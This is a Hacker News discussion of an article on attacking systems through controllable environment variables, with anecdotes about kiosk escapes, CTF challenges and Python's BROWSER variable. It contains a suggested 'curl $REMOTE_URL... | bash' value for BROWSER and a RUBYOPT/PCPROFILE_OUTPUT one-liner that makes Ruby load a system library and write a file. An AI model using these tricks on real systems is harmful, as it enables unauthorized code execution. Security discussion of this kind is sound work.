Hacker News new | past | comments | ask | show | jobs | submit login
Hacking with environment variables (elttam.com)
226 points by pentestercrab on July 14, 2020 | hide | past | favorite | 65 comments



See also the sudo bad environment variable list[1], which I recently found a 15 year old typo in.[2]

[1]: https://github.com/sudo-project/sudo/blob/master/plugins/sud... [2]: https://www.sudo.ws/repos/sudo/rev/bdf9c9e7f455


This is such a good example on why security is hard.

I mean, good intentions, should've worked, but a single mistake wasn't discovered among all of the features involved in locking it down as hard as possible.

Security is a fight nobody can win, because it's an N-1 relationship of reassuring your own mistakes vs. finding a single mistake as an opportunity.


Isn't this more an example of "fail-open design is bad, use fail-close"? Or in other words "make an allowlist, not a blocklist"?

I mean look at those variables, this seems like a loosing battle. PERLLIB, PERL5LIB etc. - what if there's a PERL6LIB at some point or a NEWSCRIPTINGLANGUAGELIB variable?


Yes. This is why running without `env_reset` is considered inherently insecure and the typo fix wasn't considered a security fix by the sudo maintainers.

The list is still relevant to this discussion though as a nice "greatest hits" cheat-sheet of fun environment variables to play with here.


Actually, there is such a thing as PERL6LIB: it's an environment variable still recognized by Raku (formerly known as Perl 6). As you may know, Perl 6 has been renamed to Raku (https://raku.org using the #rakulang tag on social media). FWIW, there is now also a RAKULIB environment variable :-)


Well, touche.

I think that the fail-close design (I know them as positive-style branching) should be embraced everywhere possible.

But can this be actually achieved without breaking the ecosystem in the sense of having to start all over again?


Not to take away from your point, but it seems like automated testing should easily detect issues like this one?


Depends how you write your tests, but in this case, I'd say it'd be just as easy to carry the typo into your tests as not.

Unless you're fuzzing, automated testing could've easily missed this.


The typo almost looks malicious, to be honest.


I did something like this once. My University had an full screen kiosk browser that was locked down. Well it turns out that you could "customize" Firefox, add in a missing button, get to the print screen and change the executable from "lpr" to $TERM which would immediately pop a shell.

Good times.


My university let students put procmail files in their home directories to filter their incoming email. I created a .procmailrc file which set a DISPLAY env variable and then spawned an xterm process. That popped up a terminal on the machine I was sitting at with a shell on the mail server which had write access to every student's home directory.


This was a huge component of a 2020 DEFCON CTF qualifier challenge that only Samurai and PPP solved, where you had to get code execution or arbitrary file read out of as many setuid binaries as possible, after installing basically every cli Debian package and changing them to setuid.

There are some very interesting ways to load shared objects or read files with environment variables, and we even found ways to leverage common libraries like readline and gconv to pop apps that used them.


More recently at SpamAndFlags CTF there was a similar challenge, where an innocent looking shell script was to be exploited multiple times, each time by a different environment variable. There is a nice writeup at https://github.com/p4-team/ctf/tree/master/2020-05-10-spam-a...


Sounds very interesting, thanks for sharing. Do you have any more information or perhaps a URL to a write-up for this? Or do you remember the challenge name?


Why would you change "every cli Debian package" to setuid and not expect hundreds of exploits? Solution is not to do something so silly.


Because in the real world, you might have a vulnerability that lets you run one of those packages as root. The competition is to show how many of those you could exploit.

Of course some of them are trivial, you don't get any props for showing arbitrary file reading when you can run bash or perl as root. But exploiting readline that way is pretty interesting!


glibc's gconv?


>An unexpected exception to this is the antigravity module. The Python developers included an easter egg in 2008 which can be triggered by running import antigravity. This import will immediately open your browser to the xkcd comic that joked that import antigravity in Python would grant you the ability to fly.

> As for how the antigravity module opens your browser, it uses another module from the standard library called webbrowser. This module checks your PATH for a large variety of browsers, including mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks and lynx. It also accepts an environment variable BROWSER that lets you specify which process should be executed.

It was the possibility of security vulnerabilities that made software companies (more specifically Microsoft[0]) eschew easter eggs. Every feature, every line of code potentially increases your attack surface, especially if it interacts with other features.

0. https://docs.microsoft.com/en-us/archive/blogs/larryosterman...


It was the possibility of security vulnerabilities that made software companies (more specifically Microsoft[0]) eschew easter eggs.

...and yet there are plenty of horror stories about Win10 coming with lots of other "surprises" like Candy Crush installed by default, ads that fetch resources over the Internet, etc. I can almost hear a PM somewhere say "but they're not easter eggs, because they are documented somewhere." I'm sure people would be far less surprised and disgusted by a "real easter egg" that did something simple like developer's credits. Corporate bureaucracy at its worst...


They aren't Easter eggs because they were probably paid to include them.


I suspect what made companies exclude easter eggs was a sense that they were too big and "serious" for this sort of whimsical activity. And specifically for Microsoft, a sense that they were now targeting the Enterprise marketTM and were above all this consumer-grade behaviour. Interestingly Google still has easter egg behaviour for several queries, e.g. askew[1], which fits well with their corporate brand.

To be clear, an easter egg is only supposed to be a (pleasant) surprise to the consumer -- not a secret kept from the rest of the team, especially QA. You can and should absolutely test your easter eggs.

Yes, Excel's increasingly elaborate easter eggs[2] would probably find it hard to get past security review these days. But to say that easter eggs are bad because security doesn't make sense. Especially when companies include undocumented features in software all the time -- e.g., typing '=rand()' into newer versions of MS Word produces some random text, probably a lorem ipsum generator-like feature.

[1] https://www.google.com/search?hl=en&source=hp&q=askew&oq=ask...

[2] https://www.youtube.com/watch?v=Xb9AXBowb0E , https://www.youtube.com/watch?v=-gYb5GUs0dM , https://www.youtube.com/watch?v=PGZfuwsvIFQ


This "vulnerability" requires "able to set an environment variable on a Python execution environment" and "opening a browser leads to RCE". Once you have that level of control over a system, I don't think `antigravity` will make or break an RCE.


I don't think you need a browser RCE. If you can set environment variables, can't you just change $BROWSER to point towards an arbitrary binary?


It does not require opening a browser, it can cause a browser to open.


Which is not on its own a "vulnerability", you'd need to chain it to something usable in the browser / as a consequence of the browser being opened.

It increases your options, certainly, but it can't do anything dangerous as-is.


You can define any executable in the $BROWSER environment variable which will be executed whenever antigravity is imported.

You could execute a 'curl` which directly pipes into 'bash -c'.


"Any executable" does not mean adding pipes and arguments. This is one important benefit of not using shell.

See https://github.com/python/cpython/blob/master/Lib/webbrowser...


This is flat wrong. You can cause it to run an arbitrary binary by setting the BROWSER environment variable, as they demonstrate in the article. They chained it with perl environment variable vulnerability listed earlier to achieve execution.


Yep, I misunderstood then - definitely vulnerable on its own!


At MS my team got our collective assws chewed for a egg in a cli tool that had our names listed - didn't make it into W2K :(

NLB still "rocks" tho :)


Think about this next time Tesla comes up with some new Jinglebells gimmick. My car is the last place i would like to have easter eggs.


So... don't import antigravity, an obvious joke module.


I am confused by your point... the article is trying to hack a system where they can only set environment variables, and they found an environment variable that can import arbitrary modules.

Are you trying to tell hackers to just not import the module?


Of course as a developer you (should) already have the power to run arbitrary code on your machine, so going through that route is silly. I think it's more in reference to locked-down environments like shared hosting, which want to run Python but restrict access to everything else. From that perspective, this ability looks like a sandbox escape.


If a sandbox includes the ability to load a link via a browser via standard event handler, how the hell is that an escape


it's an escape because you can load an arbitrary script into the command, and if the sandbox crafter didn't think to lock down `import antigravity` then you can escape the sandbox.


If the environment allows executing a browser, it allows executing a browser. Whether python is involved is irrelevant.


> If the environment allows executing a browser

From my reading of this, it allows executing any executable you can put in the BROWSER environment


Which you can set it to something like "curl $REMOTE_URL_WHERE_SCRIPT_IS_HOSTED | bash" and run arbitrary code.


Oh you're right.


> A generic solution for Ruby has not been found yet. Ruby does accept an environment variable RUBYOPT to specify command-line options. The man page states that RUBYOPT can contain only -d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE and --enable-FEATURE. The most promising option is -r which causes Ruby to load the library using require. However, this is limited to files with an extension of .rb or .so.

Interesting - could the -r option load a .so file with a .ctor section?


Yes, that works fine. The hard part is finding a suitable .so already on the system. The following (credit to Tavis Ormandy) creates /tmp/testing

  $ RUBYOPT="-r/usr/lib64/libpcprofile.so" PCPROFILE_OUTPUT="/tmp/testing" ruby /dev/null


I understand this kind of techniques were common to attack unsafe CGI web servers in the old time.

I wonder whether it is still the case nowadays. Is CGI still being used?


The Linux world is not just about servers and online.

For example, a sub-contractor at BigCo., Inc. could use a lot of this knowledge to exfiltrate stuff.

I mean, CGI web servers are still out there - but careful that you don't overlook a wider market for these sploits.


I’m sure some people use it, shell cgi scripts are IMO the easiest way to just build things like counters, you can do it in just one or two lines.


Regarding Python scripts: All Python scripts runnable by more than one user should really have the “-I” option on the shebang line; this, among other things, ignores all PYTHON* environment variables. (Note: Python 3 only.)


Why? Isn't it safer to just have sudo always handle resetting the environment? Or do you mean if you're using a custom setuid wrapper?


I said nothing about sudo or setuid; I simply meant what I wrote: A Python program runnable by more than one user, where I meant user as in uid.


That makes even less sense then. Are you trying to protect users from attacking themselves? What specific threat do you think you'd mitigate by doing that?


When you control environment variables, can't you also LDPRELOAD scary stuff?


The second sentence of the blog post states:

   We were also unable to control the contents of a file on disk, and bruteforcing process identifiers (PIDs) and file descriptors found no interesting results, eliminating remote LD_PRELOAD exploitation.


Oops, have overseen that one.


Or just set $PATH to a directory you control containing an "ls" binary. I don't understand what this post is on about at all - is it implying they've discovered a way to control environment variables of unrelated processes or users?


> On a recent project we gained the ability to specify environment variables

> We were also unable to control the contents of a file on disk

From the first and second sentence.


That's my point. What "recent project"? Is there a CVE?


Elttam are a security firm who offer (among other things) pentesting - so they would usually be working privately with, say, a client's website.

One wouldn't usually file a CVE in these circumstances, if only the client is affected.


Warning, website wont load at all unless JavaScript is enabled.


Delete the first element in the body, <section id="preloader">, which sits on top of the rest and blocks it from view.

This is one of the two standard failure techniques. (I glom <body style="opacity:0"> and the likes in the same category as this site.) The other category is where the body has no content, and JavaScript injects it. I’m undecided which is worse, but I think that it’s probably this one, because the developer pretty much went out of their way to slow things down in the name of subjective prettiness (and perhaps just because they wrote the rest of the markup/styling/code badly), and thereby broke things. Whereas I can at least understand why you’d do the whole thing in JavaScript, even if it’s not something I’m willing to do.


Is that to avoid the FOUC?


Typically, yes.

But I just want to be clear on this reason: it’s a fundamentally bad technique that slows things down and harms accessibility, both of which are far more important than your website potentially appearing slightly imperfectly while it loads, like just >99.4% of websites. (And if you’re doing something that means that your page looks worse than most while loading, you’re probably loading your resources in the wrong way somehow, e.g. putting a critical stylesheet at the end of the document rather than in the head.)

Other reasons for doing this are:

• A splash screen sort of experience. Yeah, there are still some around doing this, though it’s fortunately uncommon. It’s often a precursor to this second reason:

• A misguided desire to animate things into place at the right time (kind of an extension of the FOUC, I guess). Gratuitous animating-in of content as you scroll, which this meshes with, is a horrible thing to do, by the way: although it’s decidedly popular on homepages, most people dislike it (ranging from mild displeasure to rage-quitting the site), because it’s distracting, slows things down and adds nothing. Just don’t do it.

In short, I see no legitimate reason to ever set document opacity to zero or to put a loading spinner on top of everything else, in CSS. (In JavaScript, maybe—there are defensible reasons; but never in CSS.)


That explains why I got a loading screen for a page that was just static text.

I don’t get why people use those kind of shitty frameworks for sites that don’t require interactive content.


Because it's their website and they can publish their free content however they want? You are always welcome to not consume it.


I do get your sentiment but it's not really addressing what I believe the GPs point to be, which is redundant framework bloat for personal blogs. Take the sites I personally run, one of them is written in markdown and "compiled" to HTML using `pandoc` (a CLI document conversion tool) and then it's pushed to S3. Some of the others are run on dynamic CMSs and have modern frameworks used to "help speed up development". But you know which site was actually the quickest to develop? It's also the site which which loads the quickest, costs the least to host and requires the least upkeep -- it's the one which doesn't use any frameworks at all, just a few lines of hand-crafted CSS. It doesn't even have any Javascript.

I'm not saying everyone has to go that minimal but my (and I suspect the GPs) point is that people can get carried away when designing their personal blogs, and in fact sites in general, and miss the point of what their site is actually trying to achieve in the process. If someone feels they need a loading screen to serve a static blog then I suspect they've probably fallen into that trap themselves.


Not only that, it also caused the app I'm using (Readability) to go back to the article list. I usually get a blank screen, but this is first time I've seen it fail so spectacularly in years.

Does anyone know what the site's JavaScript doing to cause that?


Disable CSS or use reader mode.




Join us for AI Startup School this June 16-17 in San Francisco!

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: